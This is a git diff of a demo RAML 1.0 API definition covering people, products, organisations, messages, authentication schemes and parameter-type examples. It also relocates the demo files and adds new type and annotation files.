+ Deny: DENY
+ SameOrigin: SAMEORIGIN
+ body:
+ application/json:
+ schema: !include schemas/person.json
+ example: !include examples/person.json
+ application/xml:
+ type: !include schemas/person.xsd
+ example: !include examples/person.xml
+ /{personId}:
+ securedBy: custom1
+ type: ResourceNotFound
+ displayName: A person
+ description: The endpoint to access information about the person
+ uriParameters:
+ personId:
+ type: integer
+ required: true
+ description: The ID of the person in the system. It is generated by the database numeric value for the person.
+ example: 1234
+ get:
+ displayName: Get a person
+ description: Returns a person
+ headers:
+ x-client-id:
+ (deprecated): This will be replaced
+ example: 123456-acme.client.com
+ description: The application id used to make a request. It can be obtained in the developer console.
+ type: string
+ required: true
+ x-people-op-id:
+ (annotationTest):
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+ description: People ops ID. It is UUID v4 string
+ example: 9719fa6f-c666-48e0-a191-290890760b30
+ responses:
+ 200:
+ body:
+ application/json:
+ type: AppPerson
+ application/xml:
+ type: !include schemas/person.xsd
+ example: !include examples/person.xml
+ delete:
+ displayName: Remove a person
+ description: Removes the person from the datastore. This method do not returns any data in 200 response.
+ responses:
+ 204:
+ headers:
+ x-people-op-id:
+ (annotationTest):
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+ description: People ops ID. It is UUID v4 string
+ example: 9719fa6f-c666-48e0-a191-290890760b30
+ put:
+ displayName: Update a person
+ description: Updates the person in the datastore.
+ queryParameters:
+ testPatam: string
+ body:
+ application/json:
+ type: AppPerson
+ description: Puts a person to the data store
+ application/xml:
+ type: !include schemas/person.xsd
+ example: !include examples/person.xml
+ responses:
+ 200:
+ headers:
+ x-people-op-id:
+ (annotationTest):
+ type: string
+ pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+ description: People ops ID. It is UUID v4 string
+ example: 9719fa6f-c666-48e0-a191-290890760b30
+/products:
+ displayName: Products
+ description: The API is to be used to access data about the products.
+ type: RequestErrorResponse
+ post:
+ displayName: Create product
+ description: |
+ Creates a product in the store.
+ While creating a product the `id` and `etag` properties will be ignored.
+
+ The endpoint will reject the request if exactly the same product is already defined in the
+ datastore (all properties of both objects equals). Newly created product is available
+ for listing but **it won't be available for ordering API** until it's availability is not set.
+ body:
+ application/json:
+ type: Product
+ application/xml:
+ type: !include schemas/product.xsd
+ example: !include examples/product.xml
+ responses:
+ 200:
+ body:
+ application/json:
+ type: Product
+ examples:
+ Product:
+ id: d697f5cea85011e680f576304dec7eb7
+ name: Super product
+ quantity: 125
+ unit: ml
+ upc: "123456789101"
+ available: true
+ etag: "W/\"686897696a7c876b7e\""
+ OtherProduct:
+ id: 123e4567e89b12d3a456426655440000
+ name: Acme Product
+ quantity: 1
+ unit: kg
+ upc: "223456789101"
+ available: true
+ etag: "W/\"123456789\""
+ application/xml:
+ type: !include schemas/product.xsd
+ example: !include examples/product.xml
+ 400:
+ description: The request has been rejected. Probably the product already exists in the datastore.
+/orgs:
+ /{orgId}:
+ is: [RateLimited]
+ get:
+ displayName: Get organization
+ description: Returns an organization info.
+ responses:
+ 200:
+ body:
+ application/json:
+ type: ExampleType.Org
+ properties:
+ id:
+ type: string
+ description: UUID generated ID
+ example:
+ id: "12345"
+ onCall:
+ firstname: nico
+ lastname: ark
+ kind: AcmeAdmin
+ clearanceLevel: low
+ phone: "12321"
+ Head:
+ firstname: nico
+ lastname: ark
+ kind: AcmeManager
+ reports:
+ -
+ firstname: nico
+ lastname: ark
+ kind: admin
+ phone: "123-23"
+ put:
+ body:
+ application/json:
+ type: ExampleType.Org
+ properties:
+ id:
+ type: string
+ description: UUID generated ID
+ responses:
+ 200:
+ body:
+ application/json:
+ type: ExampleType.Org
+ /managers:
+ get:
+ responses:
+ 200:
+ body:
+ application/json:
+ type: ExampleType.Manager[]
+/messages:
+ securedBy: [oauth_2_0]
+ post:
+ description: Create a new message
+ is: [Adminable]
+ body:
+ application/json:
+ type: object
+ properties:
+ receiver:
+ type: string
+ description: receiver of the message
+ required: true
+ body:
+ type: string
+ description: A message body
+ required: true
+ important:
+ type: boolean
+ description: If true then the message will be marked as important
+ default: false
+ required: true
+ get:
+ description: |
+ List user messages. It returns an array of messages for last of 7 days if
+ `since` property is not set.
+ You can use `since` and `until` query parameters to control messages time
+ span.
+ queryParameters:
+ until:
+ (annotationTest):
+ type: date-only
+ description: Date right limit of the messages query.
+ example: 2017-05-12
+ since:
+ type: date-only
+ description: Date left limit of the messages query.
+ example: 2017-05-10
+ responses:
+ 200:
+ body:
+ application/json:
+ type: array
+ items: !include resourceTypes/message-type.raml
+ example: !include examples/messages-example.json
+ /bulk:
+ post:
+ description: Bulk create messages.
+ is: [Adminable]
+ body:
+ application/json:
+ (annotationTest):
+ type: array
+ items: !include resourceTypes/message-sent-type.raml
+ examples:
+ Example1: !include examples/messages-sent-example.json
+/arrayBody:
+ post:
+ body:
+ application/json:
+ (deprecated): This response type is deprecated and soon will be replaced.
+ description: |
+ This demonstrates a body as an Array
+ type: AppPerson[]
+/schemaBody:
+ get:
+ responses:
+ 200:
+ body:
+ application/json:
+ example: |
+ {
+ "status":"success"
+ }
+/no-desc:
+ get:
+ responses:
+ 200:
+ 405:
+ 201:
+
+/multipleTypeInheritance:
+ get:
+ description: |
+ The response body inherits the following types:
+
+ - AppPerson
+ - AlertableAdmin
+ responses:
+ 200:
+ body:
+ application/json:
+ type:
+ - AppPerson
+ - ExampleType.AlertableAdmin
+/typeFromLibraryEndpoint:
+ post:
+ body:
+ type: myLib.TypeFromLibray
+ responses:
+ 200:
+/test:
+ post:
+ body:
+ type: Product
+ responses:
+ 200:
+ body:
+ type: AppPerson
+/scalarArrays:
+ post:
+ body:
+ type: Notification
+/notifications:
+ post:
+ body:
+ type: Notification
+/authorization:
+ /basicauth:
+ get:
+ securedBy: [basic]
+ /basic-auth-with-defaults:
+ get:
+ securedBy: [basicWithDefaults]
+ /passthroogh:
+ securedBy: [pass_through]
+ get:
+ /oauth1:
+ get:
+ securedBy: [oauth1]
+ /oauth1-signature:
+ get:
+ securedBy: [oauth1signature]
+ /oauth1-nosignature:
+ get:
+ securedBy: [oauth1noSignature]
+ /oauth1-nosettings:
+ get:
+ securedBy: [oauth1noSettings]
+ /custom1:
+ get:
+ securedBy: [custom1]
+ /custom2:
+ get:
+ securedBy: [custom2]
+ /custom3:
+ get:
+ securedBy: [custom3]
+ /digest:
+ get:
+ securedBy: digest
+ /passthrough-query-string:
+ get:
+ securedBy: passthroughQueryString
+ /custom-query-string:
+ get:
+ securedBy: custom_scheme
+ /oauth2:
+ post:
+ securedBy: [oauth2]
+ /oauth2-with-annotations:
+ get:
+ securedBy: [oauth2Annotation]
+ /oauth2-with-grant-list:
+ get:
+ securedBy: [oauth2grants]
+ /oauth2-query-delivery:
+ get:
+ securedBy: [oauth2queryDelivery]
+ /oauth2-header-delivery:
+ get:
+ securedBy: [oauth2headerDelivery]
+ /oauth2-no-delivery:
+ get:
+ securedBy: [oauth2noDelivery]
+ /oauth2-no-grants:
+ get:
+ securedBy: [oauth2noGrants]
+ /oauth2-pkce:
+ get:
+ securedBy: [oauth2pkce]
+ /combo-types:
+ get:
+ securedBy: [basic, digest, passthroughQueryString, custom1, oauth2, oauth1]
+ /all-oauth2:
+ get:
+ securedBy: [oauth2, oauth2Annotation, oauth2grants, oauth2queryDelivery, oauth2headerDelivery, oauth2noDelivery, oauth2noGrants]
+ /nil-oauth2:
+ get:
+ securedBy: [null, oauth2]
+/required-query-parameters:
+ get:
+ queryParameters:
+ requiredString:
+ type: string
+ required: true
+
+/optional-query-parameters:
+ get:
+ queryParameters:
+ requiredString:
+ type: string
+ required: false
+/required-headers:
+ get:
+ headers:
+ requiredString:
+ type: string
+ required: true
+
+/optional-headers:
+ get:
+ headers:
+ requiredString:
+ type: string
+ required: false
+/content-type:
+ post:
+ headers:
+ Content-Type:
+ default: application/json
+ body:
+ type: object
+ properties:
+ error:
+ type: boolean
+ default: false
+/parameters:
+ get:
+ displayName: All parameter types
+ headers:
+ Accept:
+ default: application/json
+ description: Selectes the response's media type, when supported.
+ enum:
+ - application/json
+ - application/xml
+ - text/csv
+ required: false
+ x-required:
+ required: true
+ x-object-header:
+ type: object
+ properties:
+ key: string
+ value:
+ type: any
+ description: Any value
+ If-Modified-Since:
+ type: datetime
+ example: Sun, 28 Feb 2016 16:41:41 GMT
+ format: rfc2616 # this time it's required, otherwise, the example format is invalid
+ queryParameters:
+ unionable:
+ type: string | number
+ description: One of the two
+ example: 25
+ default: no
+ complexUnionable:
+ type: Feature | Product
+ description: Super confusing for a query param
+ mixedUnionable:
+ type: Feature | string
+ description: At least one should work
+ combo:
+ type: string
+ default: Some value
+ description: A combo of all string properties
+ displayName: Combo (string)
+ enum:
+ - value 1
+ - value 2
+ - value 3
+ - value 4
+ - value 5
+ - value 6
+ - value 7
+ - value 8
+ - value 9
+ - value 10
+ examples:
+ Example 1: value 1
+ Example 2: value 2
+ maxLength: 100
+ minLength: 1
+ pattern: .*
+ required: true
+ comboNum:
+ type: number
+ default: 20
+ description: A combo with a number type
+ displayName: Combo (number)
+ enum:
+ - 5
+ - 10
+ - 20
+ - 40
+ - 50
+ - 75
+ - 100
+ examples:
+ Minimum: 5
+ Maximum: 100
+ minimum: 5
+ maximum: 100
+ multipleOf: 5
+ format: int64
+ birthday:
+ type: date-only
+ example: 2015-05-23
+ lunchtime:
+ type: time-only
+ example: 12:30:00
+ fireworks:
+ type: datetime-only
+ example: 2015-07-04T21:00:00
+ created:
+ type: datetime
+ example: 2016-02-28T16:41:41.090Z
+ format: rfc3339
+ userPicture:
+ type: file
+ fileTypes: ['image/jpeg', 'image/png']
+ maxLength: 307200
+ customFile:
+ type: file
+ fileTypes: ['*/*'] # any file type allowed
+ maxLength: 1048576
+ aBoolean:
+ type: boolean
+ description: This is a boolean value without a default value.
+ displayName: Boolean
+ aBooleanWithDefault:
+ type: boolean
+ default: true
+ displayName: Boolean with default
+ description: This is a boolean value with default value.
+ nillable:
+ type: nil
+ description: This can be null
+ nillableUnion:
+ type: string | nil
+/query-params:
+ /bool:
+ get:
+ queryParameters:
+ aBoolean:
+ type: boolean
+ description: This is a boolean value without a default value.
+ displayName: Boolean
+ aBooleanWithDefault:
+ type: boolean
+ default: true
+ displayName: Boolean with default
+ description: This is a boolean value with default value.
+ nillableBoolean:
+ type: boolean | nil
+ displayName: Boolean with nil
+ description: This is a boolean value with a nil union value.
+ stringBoolean:
+ type: boolean | string
+ displayName: Boolean with string
+ description: This is a boolean value with a string union value.
+ /string:
+ get:
+ queryParameters:
+ string:
+ type: string
+ description: Simple string
+ enum:
+ type: string
+ enum: [development, staging, qa, production]
+ description: Enum string
+ minMaxLnegth:
+ type: string
+ minLength: 5
+ maxLength: 15
+ description: Min 5 max 15
+ patternLettersOnly:
+ type: string
+ pattern: '[a-zA-Z]*'
+ description: Letters only pattern
+ patternNumbersOnly:
+ type: string
+ pattern: '[0-9]*'
+ description: Number only pattern
+ displayName:
+ type: string
+ displayName: String 6
+ description: With display name
+ notRequired:
+ type: string
+ required: false
+ description: Optional value
+ withDefault:
+ type: string
+ default: This is a default
+ description: Default value
+ withDefaultNotRequired:
+ type: string
+ default: This is a default
+ required: false
+ description: Default value and not required
+ stringUnionNumber:
+ type: string | number
+ description: Either string or number
+ withExamples:
+ type: string
+ examples:
+ Word 1: Option 1
+ Word 2: Option 2
+ Word 3: 123456
+ description: String with examples.
+ anArray:
+ type: string[]
+ description: Array of strings.
+ /dates:
+ get:
+ queryParameters:
+ dateOnly:
+ type: date-only
+ description: Date only, like "2015-05-23"
+ timeOnly:
+ type: time-only
+ description: Time only, like "12:30:00"
+ dateTimeOnly:
+ type: datetime-only
+ description: Date and time only, like "2015-07-04T21:00:00"
+ rfc3339:
+ type: datetime
+ format: rfc3339
+ description: Date and time, rfc3339 format, like "2016-02-28T16:41:41.090Z"
+ rfc2616:
+ type: datetime
+ format: rfc2616
+ description: Date and time, rfc2616 format, like "Sun, 28 Feb 2016 16:41:41 GMT"
+ dateTimeNoFormat:
+ type: datetime
+ description: Date and time, assumed rfc3339 format, like "2016-02-28T16:41:41.090Z"
+ dateOnlyDefaultValue:
+ type: date-only
+ default: 2015-05-23
+ description: Date only, with a default value.
+ timeOnlyDefaultValue:
+ type: time-only
+ default: 12:30:00
+ description: Time only, with a default value.
+ rfc3339DefaultValue:
+ type: datetime
+ format: rfc3339
+ default: 2016-02-28T16:41:41.090Z
+ description: Date and time, rfc3339 format, default value
+ rfc2616DefaultValue:
+ type: datetime
+ format: rfc2616
+ default: Sun, 28 Feb 2016 16:41:41 GMT
+ description: Date and time, rfc2616 format, default value
+ dateTimeDefaultValue:
+ type: datetime
+ default: 2016-02-28T16:41:41.090Z
+ description: Date and time, with a default value.
+ dateTimeUnion:
+ type: datetime | string
+ description: Date and time union with string.
+ dateTimeNil:
+ type: datetime | nil
+ description: Required but nillable.
+ dateArray:
+ type: datetime[]
+ description: A list of datetime
+ /numbers:
+ get:
+ queryParameters:
+ simple: number
+ intFormat:
+ type: number
+ format: int
+ description: int format number
+ int8Format:
+ type: number
+ format: int8
+ description: int8 format number
+ int16Format:
+ type: number
+ format: int16
+ description: int16 format number
+ int32Format:
+ type: number
+ format: int32
+ description: int32 format number
+ int64Format:
+ type: number
+ format: int64
+ description: int64 format number
+ longFormat:
+ type: number
+ format: long
+ description: long format number
+ floatFormat:
+ type: number
+ format: float
+ description: float format number
+ doubleFormat:
+ type: number
+ format: double
+ description: double format number
+ floatWithMultiple:
+ type: number
+ format: float
+ multipleOf: 1.1
+ description: float format number with multiple of.
+ integerFormat:
+ type: integer
+ description: An integer
+ integerMinMax:
+ type: integer
+ minimum: 0
+ maximum: 100
+ multipleOf: 5
+ description: Min, max, and multiple of.
+ integerUnionString:
+ type: integer | string
+ description: Union with string
+ integerUnionNil:
+ type: integer | nil
+ description: Required but nillable
+ notRequired:
+ type: integer
+ required: false
+ description: Required but nillable
+ integerDefault:
+ type: integer
+ default: 12
+ description: Integer with default "12"
+ floatDefault:
+ type: number
+ format: float
+ multipleOf: 1.1
+ default: 2.2
+ description: float with default if "2.2"
+ integerArray:
+ type: integer[]
+ description: A list of integers
+/any-body:
+ post:
+ body:
+ application/json:
+ type: any
+ description: Whatever you want to put there, just do it.
+ example: "An example of Any body"
+ displayName: This is ANY
+ default: "(empty)"
+/a-file-body:
+ post:
+ body:
+ image/*:
+ type: file
+ fileTypes: ['image/jpeg', 'image/png']
+ maxLength: 307200
+ displayName: The image
+ description: Allows to upload any image.
+/a-scalar-body:
+ post:
+ body:
+ text/plain:
+ type: string
+ description: Generally some fine description
+ default: "To be updated soon"
+ minLength: 3
+ maxLength: 1024
+/an-union-body:
+ post:
+ body:
+ application/json:
+ type: AppPerson|Product
+ description: Either product or a person.
+/raml-examples:
+ post:
+ body:
+ application/json:
+ type: object
+ examples: !include examples/person.raml
+/date-formats:
+ post:
+ body:
+ application/json:
+ properties:
+ birthday:
+ type: date-only # no implications about time or offset
+ # example: 2015-05-23
+ lunchtime:
+ type: time-only # no implications about date or offset
+ # example: 12:30:00
+ fireworks:
+ type: datetime-only
+ # example: 2015-07-04T21:00:00
+ created:
+ type: datetime
+ # example: 2016-02-28T16:41:41.090Z
+ format: rfc3339
+ If-Modified-Since:
+ type: datetime
+ # example: Sun, 28 Feb 2016 16:41:41 GMT
+ format: rfc2616
+ # rfc3339 or rfc2616
+/body-types:
+ /json:
+ post:
+ body:
+ application/json:
+ type: AppPerson
+ /xml:
+ post:
+ body:
+ application/xml:
+ type: AppPerson
+ /form:
+ post:
+ body:
+ application/x-www-form-urlencoded:
+ type: AppPerson
+ /multi-parts:
+ post:
+ body:
+ multipart/form-data:
+ type: AppPerson
+/generated-example:
+ post:
+ body:
+ application/json:
+ type: DemoPerson
+ application/xml:
+ type: DemoPerson
+ application/x-www-form-urlencoded:
+ type: DemoPerson
+ put:
+ body:
+ application/json:
+ type: DemoPerson[]
+ application/xml:
+ type: DemoPerson[]
+ application/x-www-form-urlencoded:
+ type: DemoPerson[]
+/demo-types:
+ post:
+ body:
+ application/json:
+ type: DemoTypes.Pet
+ responses:
+ 200:
+ body:
+ application/json:
+ type: DemoTypes.Dog | DemoTypes.Cat
+/raml-and-union:
+ post:
+ body:
+ application/json:
+ type: [DemoTypes.Mamal, DemoTypes.Pet]
+/raml-and-or-union:
+ post:
+ body:
+ application/json:
+ type: [DemoTypes.Mamal, DemoTypes.Pet | DemoTypes.Cat]
+/body-with-enums:
+ post:
+ body:
+ application/json:
+ type: object
+ properties:
+ anEnum:
+ type: string
+ default: Some value
+ description: A combo of all string properties
+ displayName: Combo (string)
+ enum:
+ - value 1
+ - value 2
+ - value 3
+ - value 4
+ - value 5
+ - value 6
+ - value 7
+ - value 8
+ - value 9
+ - value 10
diff --git a/demo/demo-api/examples/e400.xml b/demo/apis/demo-api/examples/e400.xml
similarity index 100%
rename from demo/demo-api/examples/e400.xml
rename to demo/apis/demo-api/examples/e400.xml
diff --git a/demo/demo-api/examples/e401.xml b/demo/apis/demo-api/examples/e401.xml
similarity index 100%
rename from demo/demo-api/examples/e401.xml
rename to demo/apis/demo-api/examples/e401.xml
diff --git a/demo/demo-api/examples/e404.xml b/demo/apis/demo-api/examples/e404.xml
similarity index 100%
rename from demo/demo-api/examples/e404.xml
rename to demo/apis/demo-api/examples/e404.xml
diff --git a/demo/demo-api/examples/image.xml b/demo/apis/demo-api/examples/image.xml
similarity index 100%
rename from demo/demo-api/examples/image.xml
rename to demo/apis/demo-api/examples/image.xml
diff --git a/demo/demo-api/examples/messages-example.json b/demo/apis/demo-api/examples/messages-example.json
similarity index 100%
rename from demo/demo-api/examples/messages-example.json
rename to demo/apis/demo-api/examples/messages-example.json
diff --git a/demo/demo-api/examples/messages-sent-example.json b/demo/apis/demo-api/examples/messages-sent-example.json
similarity index 100%
rename from demo/demo-api/examples/messages-sent-example.json
rename to demo/apis/demo-api/examples/messages-sent-example.json
diff --git a/demo/demo-api/examples/person.json b/demo/apis/demo-api/examples/person.json
similarity index 100%
rename from demo/demo-api/examples/person.json
rename to demo/apis/demo-api/examples/person.json
diff --git a/demo/apis/demo-api/examples/person.raml b/demo/apis/demo-api/examples/person.raml
new file mode 100644
index 0000000..d0a0bb1
--- /dev/null
+++ b/demo/apis/demo-api/examples/person.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 NamedExample
+
+Person exmaple:
+ id: R34fg663H9KW9MMSKISI
+ name: Pawel Psztyc
+ birthday: 1983-10-20
+ gender: male
+ url: https://domain.com/profile/pawel.psztyc
+ image:
+ url: https://domain.com/profile/pawel.psztyc/image,
+ thumb: https://domain.com/profile/pawel.psztyc/image/thumb
+ tagline: Some text about me.
+ language: en_GB
+ etag: W\\244m4n5kj3gbn2nj4k4n4
diff --git a/demo/demo-api/examples/person.url.encoded b/demo/apis/demo-api/examples/person.url.encoded
similarity index 100%
rename from demo/demo-api/examples/person.url.encoded
rename to demo/apis/demo-api/examples/person.url.encoded
diff --git a/demo/demo-api/examples/person.xml b/demo/apis/demo-api/examples/person.xml
similarity index 100%
rename from demo/demo-api/examples/person.xml
rename to demo/apis/demo-api/examples/person.xml
diff --git a/demo/demo-api/examples/product.xml b/demo/apis/demo-api/examples/product.xml
similarity index 81%
rename from demo/demo-api/examples/product.xml
rename to demo/apis/demo-api/examples/product.xml
index 2063f1d..ce2947a 100644
--- a/demo/demo-api/examples/product.xml
+++ b/demo/apis/demo-api/examples/product.xml
@@ -1,7 +1,7 @@
f2f7933a-a9ce-11e6-80f5-76304dec7eb7
- Acme product - mentol flavor, 500 ml.
+ Acme product - menthol flavor, 500 ml.500ml042100005264
diff --git a/demo/demo-api/library.raml b/demo/apis/demo-api/library.raml
similarity index 100%
rename from demo/demo-api/library.raml
rename to demo/apis/demo-api/library.raml
diff --git a/demo/apis/demo-api/library/demo-types.raml b/demo/apis/demo-api/library/demo-types.raml
new file mode 100644
index 0000000..b47c3e9
--- /dev/null
+++ b/demo/apis/demo-api/library/demo-types.raml
@@ -0,0 +1,44 @@
+#%RAML 1.0 Library
+
+types:
+ AppPeson: !include ../resourceTypes/app-person.raml
+ BaseResource:
+ description: |
+ API resource.
+ type: object
+ properties:
+ etag:
+ type: string
+ description: |
+ ETag of this resource for caching purposes.
+ __This property will be ignored when creating an object.__
+ Pet:
+ type: BaseResource
+ properties:
+ type:
+ type: string
+ description: The object type for child classes.
+ name:
+ type: string
+ description: The name of the pet.
+ sound:
+ type: string
+ description: The sound it makes.
+ discriminatorValue: type
+ Dog:
+ type: Pet
+ properties:
+ type:
+ default: Dog
+ sound:
+ default: Woof
+ friendly: boolean
+ Cat:
+ type: Pet
+ properties:
+ type:
+ default: Cat
+ Mamal:
+ type: object
+ properties:
+ birthDate: date-only
diff --git a/demo/apis/demo-api/resourceTypes/app-person.raml b/demo/apis/demo-api/resourceTypes/app-person.raml
new file mode 100644
index 0000000..250793b
--- /dev/null
+++ b/demo/apis/demo-api/resourceTypes/app-person.raml
@@ -0,0 +1,111 @@
+#%RAML 1.0 DataType
+
+displayName: A person resource
+description: |
+ An object representing a person in the API.
+ This object will be used in all methods returning a Person or list of people.
+
+type: !include resource.raml
+example:
+ id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"
+ name: "Pawel Psztyc"
+ birthday: "1983-10-20"
+ gender: male
+ url: "https://domain.com/profile/pawel.psztyc"
+ image:
+ url: https://domain.com/profile/pawel.psztyc/image
+ thumb: https://domain.com/profile/pawel.psztyc/image/thumb
+ tagline: Some text about me.
+ language: en_GB
+ etag: "W\\244m4n5kj3gbn2nj4k4n4"
+ favouriteNumber: 10
+ favouriteTime: 10:29:52
+ nillable: null
+
+properties:
+ id:
+ description: |
+ A unique identifier of a person.
+
+ It is a 32 bit string containing alphanumeric characters.
+ minLength: 32
+ maxLength: 32
+ pattern: "[A-Za-z0-9]*"
+ displayName: ID
+ name:
+ required: true
+ example: John Smith
+ description: Person full name. The input will be rejected if this property is not set while creating new object.
+ type: string
+ pattern: "[0-9a-zA-Z ]+"
+ displayName: Person name
+ birthday:
+ type: date-only
+ description: The person's date of birth, represented as YYYY-MM-DD.
+ displayName: Person birthday
+ favouriteTime:
+ type: time-only
+ description: The person's favourite time of day
+ displayName: Some example
+ gender?:
+ type: string
+ description: |
+ The person's gender. Possible values includes, but are not limited to, the following values:
+ * "male" - Male gender.
+ * "female" - Female gender.
+ * "other" - Other.
+ enum: [male, female, other]
+ examples:
+ Women: female
+ Man: male
+ Elmo: other
+ displayName: Gender
+ favouriteNumber:
+ type: number
+ minimum: 0
+ maximum: 9999
+ multipleOf: 5
+ required: true
+ displayName: Favourite number
+ example: 25
+ url:
+ type: string
+ description: The URL of this person's profile.
+ displayName: Profile URL
+ image: !include image.raml
+ tagline:
+ type: string
+ description: The brief description (tagline) of this person.
+ displayName: Tagline
+ language:
+ type: string
+ description: The user's preferred language for rendering.
+ displayName: Language
+ newsletter:
+ type: boolean
+ required: false
+ default: false
+ displayName: Newsletter consent
+ age:
+ type: integer
+ required: false
+ displayName: Age
+ description: |
+ Very unpractical property to have in a data store.
+ created:
+ type: datetime-only
+ required: false
+ example: 2018-04-09T19:10:15
+ fietype:
+ required: false
+ type: file
+ fileTypes:
+ - image/png
+ - image/jpeg
+ - image/jpg
+ - image/gif
+ minLength: 10
+ maxLength: 1000
+ nillable:
+ type: string | nil
+ default: null
diff --git a/demo/demo-api/resourceTypes/example-types.raml b/demo/apis/demo-api/resourceTypes/example-types.raml
similarity index 100%
rename from demo/demo-api/resourceTypes/example-types.raml
rename to demo/apis/demo-api/resourceTypes/example-types.raml
diff --git a/demo/demo-api/resourceTypes/image.raml b/demo/apis/demo-api/resourceTypes/image.raml
similarity index 100%
rename from demo/demo-api/resourceTypes/image.raml
rename to demo/apis/demo-api/resourceTypes/image.raml
diff --git a/demo/demo-api/resourceTypes/message-sent-type.raml b/demo/apis/demo-api/resourceTypes/message-sent-type.raml
similarity index 100%
rename from demo/demo-api/resourceTypes/message-sent-type.raml
rename to demo/apis/demo-api/resourceTypes/message-sent-type.raml
diff --git a/demo/demo-api/resourceTypes/message-type.raml b/demo/apis/demo-api/resourceTypes/message-type.raml
similarity index 100%
rename from demo/demo-api/resourceTypes/message-type.raml
rename to demo/apis/demo-api/resourceTypes/message-type.raml
diff --git a/demo/demo-api/resourceTypes/product.raml b/demo/apis/demo-api/resourceTypes/product.raml
similarity index 96%
rename from demo/demo-api/resourceTypes/product.raml
rename to demo/apis/demo-api/resourceTypes/product.raml
index 414dfd9..17ec15d 100644
--- a/demo/demo-api/resourceTypes/product.raml
+++ b/demo/apis/demo-api/resourceTypes/product.raml
@@ -13,7 +13,7 @@ properties:
name:
type: string
description: Product name
- example: Acme product - mentol flavor, 500 ml.
+ example: Acme product - menthol flavor, 500 ml.
required: true
quantity:
type: number
diff --git a/demo/demo-api/resourceTypes/resource.raml b/demo/apis/demo-api/resourceTypes/resource.raml
similarity index 100%
rename from demo/demo-api/resourceTypes/resource.raml
rename to demo/apis/demo-api/resourceTypes/resource.raml
diff --git a/demo/demo-api/schemas/error-response.xsd b/demo/apis/demo-api/schemas/error-response.xsd
similarity index 100%
rename from demo/demo-api/schemas/error-response.xsd
rename to demo/apis/demo-api/schemas/error-response.xsd
diff --git a/demo/demo-api/schemas/image.xsd b/demo/apis/demo-api/schemas/image.xsd
similarity index 100%
rename from demo/demo-api/schemas/image.xsd
rename to demo/apis/demo-api/schemas/image.xsd
diff --git a/demo/demo-api/schemas/person.json b/demo/apis/demo-api/schemas/person.json
similarity index 100%
rename from demo/demo-api/schemas/person.json
rename to demo/apis/demo-api/schemas/person.json
diff --git a/demo/demo-api/schemas/person.xsd b/demo/apis/demo-api/schemas/person.xsd
similarity index 100%
rename from demo/demo-api/schemas/person.xsd
rename to demo/apis/demo-api/schemas/person.xsd
diff --git a/demo/demo-api/schemas/product.xsd b/demo/apis/demo-api/schemas/product.xsd
similarity index 100%
rename from demo/demo-api/schemas/product.xsd
rename to demo/apis/demo-api/schemas/product.xsd
diff --git a/demo/demo-api/securitySchemes/basic.raml b/demo/apis/demo-api/securitySchemes/basic.raml
similarity index 100%
rename from demo/demo-api/securitySchemes/basic.raml
rename to demo/apis/demo-api/securitySchemes/basic.raml
diff --git a/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml b/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml
new file mode 100644
index 0000000..cc0da28
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml
@@ -0,0 +1,143 @@
+#%RAML 1.0 AnnotationTypeDeclaration
+displayName: OAuth 2.0 custom settings
+description: |
+ OAuth 2.0 allows to extend the specification with custom access token types,
+ endpoint parameters, grant types or response types.
+ This annotation allows you to annotate the `settings` property of OAuth 2.0
+ security scheme type to inform applications about additional settings.
+ ## Use case
+ Let's say a authorization server requires to send a `resource` query parameter
+ with the authorization request. The `resource` parameter can be any string.
+ Currently it is impossible to define this property in RAML file.
+ Similar if the code exchange request requires to put the `resource` parameter
+ into the request body.
+ This annotation allows you to define this parameter with the RAML definition
+ and place the parameter in the right request.
+ ## Annotation Target
+ The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets)
+ for those annotations is `SecuritySchemeSettings`.
+ You can only apply it to Security Scheme `settings` property.
+ ## Example
+ ```yaml
+ annotationTypes:
+ customSettings: !include oauth-2-custom-settings.raml
+ securitySchemes:
+ oauth2:
+ type: OAuth 2.0
+ describedBy:
+ headers:
+ Authorization:
+ example: "Bearer token"
+ settings:
+ (customSettings):
+ authorizationGrants: [custom_grant]
+ ignoreDefaultGrants:
+ authorizationSettings:
+ queryParameters:
+ resource:
+ type: string
+ required: true
+ description: |
+ A resource ID that defines a domain of authorization.
+ headers:
+ x-auth-resource:
+ type: string
+ required: false
+ accessTokenSettings:
+ body:
+ resource:
+ type: string
+ required: true
+ description: |
+ A resource ID that defines a domain of authorization.
+ accessTokenUri: https://auth.domain.com/authorize
+ authorizationUri: https://auth.domain.com/token
+ authorizationGrants: [implicit]
+ scopes: profile
+ ```
+ ## API console
+ This annotation is recognized and respected by API console.
+allowedTargets: [ SecuritySchemeSettings ]
+properties:
+ authorizationSettings:
+ description: |
+ Settings to be applied to the `authorizationUri` GET request.
+ Define any query parameters or headers that are required by your OAuth 2.0
+ authorization server implementation.
+ This settings can be applied only to `token` and `code` requests
+ type: object
+ displayName: Authorization settings
+ required: false
+ properties:
+ queryParameters:
+ displayName: Authorization query parameters
+ description: |
+ Query parameters to be applied to the `authorizationUri`.
+ Use the same notation as RAML's `queryParameters`.
+ If you define a parameter that is already defined in OAuth 2.0 specification
+ (RFC6749) it should be ignored by the processor.
+ type: object
+ required: false
+ properties:
+ /a-zA-Z0-9\-\_/*:
+ type: object
+ required: false
+ accessTokenSettings:
+ displayName: Access token settings
+ description: |
+ Settings to be applied to the token endpoint POST request.
+ Define query parameters, headers or custom body paramaeters that should
+ be included into the request.
+ Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded`
+ and the processor has to always assume this content type.
+ type: object
+ required: false
+ properties:
+ queryParameters:
+ displayName: Token query parameters
+ description: |
+ Query parameters to be applied to the `accessTokenUri`.
+ Use the same notation as RAML's `queryParameters`.
+ OAuth 2.0 specification does not specify any query parameters for this
+ type of request.
+ type: object
+ required: false
+ properties:
